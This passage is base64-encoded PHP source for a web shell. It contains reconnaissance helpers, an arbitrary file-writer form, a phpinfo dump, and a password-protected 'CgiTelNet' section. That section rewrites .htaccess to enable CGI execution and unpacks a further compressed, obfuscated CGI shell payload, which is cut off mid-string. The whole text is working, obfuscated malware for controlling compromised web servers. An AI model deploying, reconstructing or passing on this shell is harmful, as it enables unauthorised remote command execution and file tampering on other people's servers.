AgICAgICAgJGRlYnVnID0gZGVidWcoJHVybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcm9ncmVzcygiPHA+JGRlYnVnPC9wPjxocj4iKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aGF0d2ViID0gd2hhdHdlYigkdXJsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHdoYXR3ZWJbMF0gYXMgJHd3KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKGFycmF5X3NsaWNlKCR3dywgMSkgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRpdGVtWydwbHVnaW4nXS0+c3RyaW5nKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbCA9IHVybGRlY29kZSgkaXRlbVsncGx1Z2luJ10tPnN0cmluZyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbCA9IHVybGRlY29kZSgkaXRlbVsncGx1Z2luJ10tPnZlcnNpb24pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJvZ3Jlc3MoIjxsaT48Yj4iLiRpdGVtWydwbHVnaW4nXS0+bmFtZS4iPC9iPiAiLiR2YWwuIjwvbGk+Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlyZXdhbGwgPSBmaXJld2FsbCgkdXJsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb2dyZXNzKCI8cD48Yj5GaXJld2FsbCBkZXRlY3RlZDo8L2I+ICRmaXJld2FsbDwvcD48aHI+Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2hvaXMgPSB3aG9pcygkdGFyZ2V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb2dyZXNzKCI8cD4kd2hvaXM8L3A+Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydmaWxlX2NyZWF0b3InXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iIj5GaWxlbmFtZTogPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGVfbmFtZSIgcGxhY2Vob2xkZXI9IkZpbGUgTmFtZSBIZXJlIiAvPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IiI+Q29udGVudDogPC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb250ZW50X29mX2ZpbGVzIiByb3dzPSIxMCIgY29scz0iOTAiPjwvdGV4dGFyZWE+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pc3Npb25vZmZpbGVjcmVhdG9yIiB2YWx1ZT0iU3VibWl0IiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVuYW1lX2luX2ZpbGVfY3JlYXRvciA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydmaWxlX25hbWUnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudHNfb2ZfZmlsZSA9ICRfUE9TVFsnY29udGVudF9vZl9maWxlcyddOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnZmlsZV9uYW1lJ10pIHx8IGlzc2V0KCRfUE9TVFsnY29udGVudF9vZl9maWxlcyddKSB8fCBpc3NldCgkX1BPU1RbJ3N1Ym1pc3Npb25vZmZpbGVjcmVhdG9yJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3IpIHx8ICFlbXB0eSgkY29udGVudHNfb2ZfZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGVuYW1lX2luX2ZpbGVfY3JlYXRvciwgJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnRzX29mX2ZpbGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaGFuZGxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iNSI+RmlsZSBXaXRoIE5hbWU6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJGZpbGVuYW1lX2luX2ZpbGVfY3JlYXRvcjsgPz4iIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvICRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3I7ID8+PC9hPiBpcyBjcmVhdGVkPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IndoaXRlIiBmYWNlPSJjdXJzaXZlIiBzaXplPSI1Ij5QbGVhc2UgSW5wdXQgSW4gQWxsIEZpZWxkcyA6UDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydwaHBfaW5mbyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Ym9keSBzdHlsZT0iY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDgwNTEwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyBjb2xvcjogYmxhY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBwaHBpbmZvKCk7IGVjaG8gJzxicj48YnI+Jzt9Pz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnZmlsZV9jcmVhdG9yJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IiI+RmlsZW5hbWU6IDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlX25hbWUiIHBsYWNlaG9sZGVyPSJGaWxlIE5hbWUgSGVyZSIgLz48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IndoaXRlIiBmYWNlPSJjdXJzaXZlIiBzaXplPSIiPkNvbnRlbnQ6IDwvZm9udD48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudF9vZl9maWxlcyIgcm93cz0iMTAiIGNvbHM9IjkwIj48L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXNzaW9ub2ZmaWxlY3JlYXRvciIgdmFsdWU9IlN1Ym1pdCIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3IgPSAkX1BPU1RbJ2ZpbGVfbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnRzX29mX2ZpbGUgPSAkX1BPU1RbJ2NvbnRlbnRfb2ZfZmlsZXMnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2ZpbGVfbmFtZSddKSB8fCBpc3NldCgkX1BPU1RbJ2NvbnRlbnRfb2ZfZmlsZXMnXSkgfHwgaXNzZXQoJF9QT1NUWydzdWJtaXNzaW9ub2ZmaWxlY3JlYXRvciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZmlsZW5hbWVfaW5fZmlsZV9jcmVhdG9yKSB8fCAhZW1wdHkoJGNvbnRlbnRzX29mX2ZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGFuZGxlID0gQGZvcGVuKCRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3IsICd3Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCRoYW5kbGUsICRjb250ZW50c19vZl9maWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IjUiPkZpbGUgV2l0aCBOYW1lOiA8YSBocmVmPSI8P3BocCBlY2hvICRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3I7ID8+IiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyAkZmlsZW5hbWVfaW5fZmlsZV9jcmVhdG9yOyA/PjwvYT4gaXMgY3JlYXRlZDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iNSI+UGxlYXNlIElucHV0IEluIEFsbCBGaWVsZHMgOlA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydjZ2lfc2hlbGwnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBzdHlsZT0iY29sb3I6IHdoaXRlOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyI+Q2dpVGVsTmV0PC9mb250Pjxicj48c3BhbiBjbGFzcz0iZGVmIj5QYXNzd29yZDogdW1hcjwvc3Bhbj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBta2RpcignYW4wbl9jZ2knLCAwNzU1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNoZGlyKCdhbjBuX2NnaScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvc3lhX2FkaSA9ICIka29rZG9zeWEiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZG9zeWEgPSBAZm9wZW4oJGRvc3lhX2FkaSwgJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1ldGluID0gIlQzQjBhVzl1Y3lCR2IyeHNiM2RUZVcxTWFXNXJjeUJOZFd4MGFWWnBaWGR6SUVsdVpHVjRaWE1nUlhobFkwTkhTUTBLUVdSa1ZIbHdaU0JoY0hCc2FXTmhkR2x2Ymk5NExXaDBkSEJrTFdObmFTQXVZMmx1RFFwQlpHUklZVzVrYkdWeUlHTm5hUzF6WTNKcGNIUWdMbU5wYmcwS1FXUmtTR0Z1Wkd4bGNpQmpaMmt0YzJOeWFYQjBJQzVqYVc0PSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGRvc3lhLCBiYXNlNjRfZGVjb2RlKCRtZXRpbikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRkb3N5YSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjZ2lzaGVsbGl6b2NpbiA9ICc3VDM1VTl0SXN6K1RxdndQazhKNXRoZmpnMk0zUUxsMnVlT0VBTUVHY201V3RtUmJpeXg1SlJsQ2p1OXZmOTA5cHc1ekpIRytmVldQSEVpYXE2ZXY2Wm5wNlpsL1ZKdEVZYTNyK3JXeEUzcHNzVVh2WHRDenZGclg4dTJSNno5OE1Ja2M5cUwxWW5kOWZjdUtuRjlYTmg0K0tKdzVZZVFHZnBQOXp6K1RJTjdZM204dGRoelBkMkltVWxpanVzTFRNUHV1N2NiSG9nai91dW5YZmJiODhkZ0wzSTV6b25KQzNtTXJpcTZDMEdheThzbklDa1dHdWJtNWViWTl0UHlCdytLaEcxWFo2MkRDcmx6UFk3N2oyQ3dPbU9QSFRraUpEeC9NVVg3NDZBVUQxNjgrZkJCTnVxd1ZmVGgzL1ZMNU02UVhnZ2lic1ViampUaDBSNlhDN3VIWlo5NVdlL2ZrYlBma1EvdG9yM08rZWJMTFAzNHRBNHh6YnI5RUJmL0RSclVyd0oxTGRjMkZUandKb2VPWTVhdmpSWTc1dFU1Zkh6NkF2d1ZvL3JBajI1WGc4TDVoZDJSUGVyS2ZEcnUwdkluRGdqNzFDOU1hek8zei9rR2g2MkJTREIwV1RuemY5UWM4VDlRTDNYSE1nQkFXZy9ydDRDcGloeDFWWkdUMWhxN3ZWRm1ybnk3dVVxbFQzLzFZd1NSVnBHZjV6SE9zU3hNaUs4THNRQWVpM0dGbmUyUzNuYkdpSEhYUUpGMEhRWU4raFZZUHFRUXZ3RnpVMmNnQkRyUmloeTJ4WGpBYUFlOUZxbVVYT3lHK01nL0FSZ0IxcDNqakNIQ3ErVmsxalUzeFJyZDVTc2NkT2NFazNwbEFOY2o3VGRhb2IxQ2prSUIxUkU0dmdHcVoxY2UyWlN1Y2Nic091NERmanEwYTNRbjhZZ3hsWWtWdWkxMDY0VFh6ckhBZ1VGL2xIWEkxcU5DZC9zUmovY0JvSUI1YU1kRDZtaUVyc1NDa0Q2cEViRjA0b3VJQStRYUU1NlBUbThST0Jib0tTUng5ZlVBMHEvSG5xaW9yV2tkZ1hCdVE0bDFMekFEZ0lWUUtzdG1LVGZqY2dSK0VEdVlGbXJHMnlFUm9iQStEcTUxcjN4cTV2YU5KUEo3RWlFRk90cGJnZWZqYnFDRG4rY3kyWWd2Zkl4QjFCQm8rcWthNklmQUVvQmdZTXdxUStRV0Rzb0RxcmJBQWNvZFhicVNMOFBUdXBOOTNFRHdrTk5Sc3N5dHNDMWxkWUZNTFFqQWFlMDdzUklvR3ViaEhGS295WTVDc0NvREVLUUppUmVJVU9WeVlPSEFjV0EwWEFPV2dRQTRjbi9qVEptUUJleHdkRmp0cysrbm00ZjR1Mnp4ODNYbmFPdHhuVzdzSFIrY01udHZzb0hXNHkwNFBEM2JiYmZiNjZKUTlQNFNVODZlYkhYd3JudXhDRFZqaTBTUE93MUpvU2tJeC9jNjBKSzh6UTdCUStXSDI0eXM3a1ozelJzL212NkVNZnhoZmlTOVU3dGlLaCtsMmVQSzdkNm1DTmFQWWlXTzdvZE9MQWJQWmttenBmd1pDeXpSWVF6MHZwZW96a2hwbUVhT1pYdUJGd0hQTHFLWUx5RU5OdHZRclBNOHYvdEFmSk4rSlk1RmtvbUpBcWhNYmQ2L3BpMkpmNEwreEZVYU9tZkhTQ2wycjZ6a2tXVmlUeUxHLzI2bXc0Nk4yaDRxTkpsN3NRa3BjQTI0Y0xaS3dFTk5KallkTU9obDdnV1VqYy9WZHJCQnI2MEJEK0FaaTZKQjR4U1N1b0wwS3J2KzUyQzkrcGZvUkhpV0JxU3hRR3BPS1g2bkNJeFExRFRWeFBDZzdxOWR6SWdSa0VpRUFWQkl5RmI5V1VPUkMxRytrbnJFaGdpWG9ZMjE4ME9GMVZkbGhFRHZyN0VVUXhYeFVSQ20xU2RXU3R1aFAvQjVwWXF3SHRKelArbUV3NHNMUHdGakJDdmtJU1gzLzBVUkdNd1BKZkl3RVlnOGZvQ0ZBUmhVci9lTDZaZURrUHo3QUFBNy9iK2lVZ2x0aEJYaUcveStjYS9nZlZDdVpHNFVYa3FSN1FORWR4SDJUa2FWUzNENDY3T3dlZGo1MFhoL3ZBbjNBSXFrcCtyL1RETERCdXNIRXQ2M3d1bG1xTHBRTE5XbkZVQ1VudXk5UGQ5dWREeTkyTzArUGRxQWE1eDhoT01CWlFrWWdQMWt6UUMzVk9KUTZlZjJoM1RrQlpWTDhLdXliT1RCODdsQXpzbXVxYXJCQ1IwRERVcnV6MHpvc0kzcHlPazZDeTdnYTJPRG1sV1h6SWhWa3BVb0tNUWU3aC91ZHAwVnV0eUY0OHpnVTJoNW5kU0VIeE04bVJyNFZyUnBOV3lJQmtGVmNYQ3hXQzQwTkJnSUw5aE13Uk9qMDBVUU4yTW5lZHVQSnI3OHhMUEtINTBZNDdrVmp6NDFMTlZWRGpmcFYzcUJNaGFmUVhTZmNDbXlzdVlCRjNqYmViMlNTQU9CMzRUc2YvMzJCWDM3TnpJSWwvOW9RWVBLS2l2REsxUHQvV0VURkM3VWFRbzNTNVZrQUhINWpWekJLb1RZQ1JnQ2xkZWpFVWM4YU80STNUQjJBOVdKOXlhWUJNcWxrbWtMdkkrN0VZMDEwVXlvY3FLS1Iva1RRaWV5MXdVWk9Zc1MvWTRwUWtpd09MV2cxeEU5QVBwQzE1dEtHd0YvQmZRK1A3c0lDVW0vdU03VTJwNUo0bFg5V0Z3aGl4RWcyWFlKVGVuZGw5SVRuQTFIbXZlQ3ZJTk1TMytvVkd5ajlXVW9RckZ6K1FoOEs4RllveTM0YUJSNlhxdFZ5Yld6MUxrcGkrT1cvS216b2ZDd1ZHdVZ5YmVDSVFvQWRoSVBRQ1JWd2hIN1Y4dW9Ba2FQWVFuYURZUWQxS2luNDBnU21oSTZQaXRXdU1EK0k5ZGlpR1AwUDBnZUNaMGs0SmI4S1ZEc3cwWUFQckZSbjFTb3J6RU1Tb1ZsQ3BuSDhicUhHWkQ5TGhnclU5VGQ1M1Zpa3dwYktKb2J2aTVMdncyTlZUWEM0ZlFHNnFtUTdZQ2c3ZGtubEtwZHppaEgrRGZSL25ZbUpvWWEvWGFMZWpodXVDMEt5TGszaEdWcGpNeHI0Vkp0ODNCdGRzd0tZY0VqRm9kdVBhVURqN3pUajVtQjk0R0NWTUlYamplY2gwWGdYZ2hDVXVlU0oyVFNtYnN3S2U4ZWg2OGZjL25qYWVYRUF1SUpKRjlkZm1Md1pEaVlqdE5rYTZ3ekhKYkRablJHM1ZFQ2xYdzFkWVBoKzBKdUFlVFFNSnA2Tk5nL001V2FFYlFJV0laUUEwcklHcDhIMkpBd0IwQjNDdGlKTHFhQy9FNnFSUWk1YTlIKzU5bC9BeTZWSGZIelZpWDQvd09RSmRYSXhZb3MrV3d6Wm9rdWp5Qmdoa090QWdSOUR6WXZ4OVJqTXM5ajVHTmVHOGNoRGphYVdlR1FCRDhRSC91MGU3c0JIZk1LY2FKeUxOK2lQZmhzNW9KQ0djVHhlZFA2WnVKZGlFYWxuTkNkRVVYd1NHUlFFR3pUMUJ6STBUenQ3aTArRTlLcnFZemYySEh4TkxrdXg3WUVyMTdYZU1ybm94ZDVqa1pvcUF6T0dwOURFQ3dCUkVvRXlKSHNReGRjeWV4ZEdSU0JUSDBCZFo0MzZtQmJOYk11M0lBMG1JZ0ZJNjN5LzMrY01Ib2VWMks3RWFQWldhQjVRd1U1Wm9GZ1oxTEYxZExLemU3SjQwdHAvMmxsbmJIN1p3VCtzTVlacGVBQXo4dzJWcFhOMERCbHV6SEt3dTRlVjNKUmw2NmpUT1hxeG5wc0ZwZEVPUmhZYTRlSDZNSUQ1UFVEWUJkVTZDTkdZV1pSOVcxbFpFWDJ6c1EveTg5TFc1cFBkYlo1U3hmRVZWVUJzSTBOamx4Y3R6eDM0NjZ4SEszenBiRVBNSm12YTIxdGJxOWRGRmtpdVZOSG00TEpoVnVVNS9aZzlja2ZqSUlUaEw5WUZNQ09TWnpGeVB6bWNSalJxMHJjcnh4ME1nWExkd0JQZEp1b1FPVGEzbisrZkhKMGU3aXh1SHgwY25RQXNqVWFEWitLVHVOeE1XeDRnS1VGOERUOFZxNEtvajF3cVRmQkhROHNPcnRZWjhnNzlxeTZERHVwZFcyQUFaNzhaTmUvUkQvRmdDSnlxU0ZLdjZ4WnBuUGdzczZ5RE1SQU5ZYnBXQjFMUEx5OHY2OXBBMTNrT0x4Tk9mRjBFQnIwYlNnRU05ZnJtcHNDY3ljczV5T3ZpbncwcEszdnVSOGVPcmlPSmVsbWpaVm04dXMxMXovVXZzTEk1V1lYZ0t0YlpmZFZaM05uZFBqclo3TFNPRHRmQm9QRWRVZWpTalVDSjIvY3VSenpPRkZmZG15cHpLYkxjMkpnRlEvb2xFVVlXTzNIc200cG80ZERTT0tmRjBSVEVURlloZHptNVo5cFZBUTNZbXJqV21vRkF5VkkxTjNscGFZa25rL28xRkM3cFg3NGc3bG4rWUFMRHBSZ2cvcll1TFo1aURna3AreWtzNGNCWDV2b0RWeWNjR0EyWkRXTTgyZ0hWZ1JQdmVnNCtibDIzYko0WGUreFUrU0o1azNYandDcUoxN0poeHNUaFJIUlp0ZGdid2lUNEEwNHhTMjRGdFpab2RscHJIT3c5eUhqc2hLUG9BMzlmY010VjEvZWRFQTBZMFZWRUF0Wkxwa29UTFJlekJGdGc3b0pjTDdNSWxtYXh5R0RjSFFaMnM0ano5U0t0bkVFdFhKTzVkaE5ad1NqUFZBVzhEZW9MdzhHWmNqSlVwczFWVmt2V1ErbEN2L1ZnbmhrMWkveXR5RmU2bTBmUGN3b01YZHQyZk42T0pUSVdCeE8zZUV0ZVcrYk4yRWkzbGV6TGtnTEZTSndGL3F5SzB0b0F2U2hyNTJiQ3BUQllycExsV0NxbnVDSWNmVEFZSTNTaWNlQkhZQTlVeGtoQ2swOWttaWEvM28xQktSaGJQZ3Y4bnVmMkxwcnY1TXFyVVhjT05TdXl4N1JtSXI4V3k2bzQwejFlWUFRUlc5Qk4xckJOaGFEWVRxQW4wVWxhRlRCNXY5SVh2ZXBYUTJjTWc2UlRxa0dyNzJxRGlsdzY1ajk2Slpma0U3V0M0SHJBbkZtdkZBOEJYMFdWelJKVkpXVXpwWE9VTjVpUTZMNEYwK2s3VXgvRjlsOGxzUnhWaHNoeWxtZDVQUDlqNURpL2dPVFFvZ0lWU2FxZ2xUVnVXMzdQOGY1Zk95UjVQQ1U3TUtIck41dkZmbEV0Mm53M1U4SlVMSFQ2emVMdlZsTnNkOUhTajkzTW9JMis5NXFPN2NhUGwrcFozTURIb3NZSVd6QTFES0hNU3VLTDl0Vm4wUTlnRHRHSGxKQVRlRzlaSG9CaUlwZ0cwVEJCdUdXaGJCQ2MrQUZ2SHdTV2JFWjFvVi85NDRNa3I2aTlPeUNiU2VTY3IvZndqMGlMZy9ISUNnZXVkS2NRcUtVWlRXNEMvM2psMnZFd04yVklrNXBra2dhY3o3a2tIeU9KamJrelRYNjQ1Uy9LaTUwMVpqYlhxTmNmeXptNjQza3dLUFJjZjVDQ0JWUEdsbTNybEtYTVZEM2t6M1AwWWpPYXlzbjFBQTRtcnd1MzBtRGthUzZML0ZTZ0svdUFFd3B1a1BEc3k3cWRZSEZ4OFMxanB0TUtldy9mQWlIRGZxd0V1bXZBSW9ZMkJabHNscFpQYnNqRGQ4Slo2M2hkd1pXZ081OE1hdkRFRG9md1Q5bmMyVGtwZmsxQXhyNmdHd25WeU81V3BkeXRlWEhVMmMyck1RMDlmd216UkJFMHdkMVVSUDBV